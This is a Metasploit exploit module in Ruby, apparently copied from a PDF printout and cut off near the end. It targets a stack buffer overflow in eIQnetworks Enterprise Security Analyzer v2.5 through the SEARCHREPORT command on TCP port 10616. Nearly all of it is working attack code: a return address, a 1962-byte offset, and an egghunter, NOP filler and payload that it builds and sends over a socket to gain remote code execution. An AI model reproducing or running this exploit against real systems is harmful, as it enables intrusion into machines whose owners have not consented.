1 ##
2 # $Id: eiqnetworks_esa.rb 4529 2007−03−12 01:08:18Z hdm $
3 ##
4
5 ##
6 # This file is part of the Metasploit Framework and may be subject to
7 # redistribution and commercial restrictions. Please see the Metasploit
8 # Framework web site for more information on licensing and terms of use.
9 # http://metasploit.com/projects/Framework/
10 ##
11
12
13 require ’msf/core’
14
15 module Msf
16
17 class Exploits::Windows::Misc::Eiqnetworks_SEARCHREPORT < Msf::Exploit::Remote
18
19
include Exploit::Remote::Tcp
20
include Exploit::Remote::Egghunter
21
22
def initialize(info = {})
23
super(update_info(info,
24
’Name’ => ’eIQNetworks ESA SEARCHREPORT Overflow’,
25
’Description’ => %q{
26
This module exploits a stack overflow in eIQnetworks
27
Enterprise Security Analyzer. During the processing of
28
long arguments to the SEARCHREPORT command, a stack−based
29
buffer overflow occurs.
30
},
31
’Author’ => [ ’ri0t <ri0t[at]ri0tnet.net>’, ],
32
’Version’ => ’$Revision: 4529 $’,
33
’References’ =>
34
[
35
],
36
’DefaultOptions’ =>
37
{
38
’EXITFUNC’ => ’seh’,
39
},
40
’Payload’ =>
41
{
42
’Space’ => 1962,
43
’BadChars’ => "\x00",
44
’ActiveTimeout’ => 15,
45
},
46
’Platform’ => ’win’,
47
48
’Targets’ =>
49
[
50
[’EnterpriseSecurityAnalyzer v2.5 Universal’, { ’Ret’ => 0x55322a6a, ’Offset’ => 1962 } ],
51
Page 1/2
eIQnetworks ESA SEARCHREPORT Remote Overflow Exploit meta
ri0t
10/24/2007
52
],
53
54
’Privileged’ => false,
55
56 ’DisclosureDate’ => ’’
57
58 ))
59
60
register_options(
61
[
62
Opt::RPORT(10616)
63
], self.class)
64
end
65
66
def exploit
67
connect
68
69
print_status("Trying target #{target.name}...")
70
71
hunter = generate_egghunter()
72
egg = hunter[1]
73
filler = make_nops(target[’Offset’] − payload.encoded.length)
74
sploit = "SEARCHREPORT&" + egg + egg + filler + payload.encoded + make_nops(12) + [target.ret].pac
k(’V’) + make_nops(12) + hunter[0] + "&";
75
puts sploit
76
sock.put(sploit)
7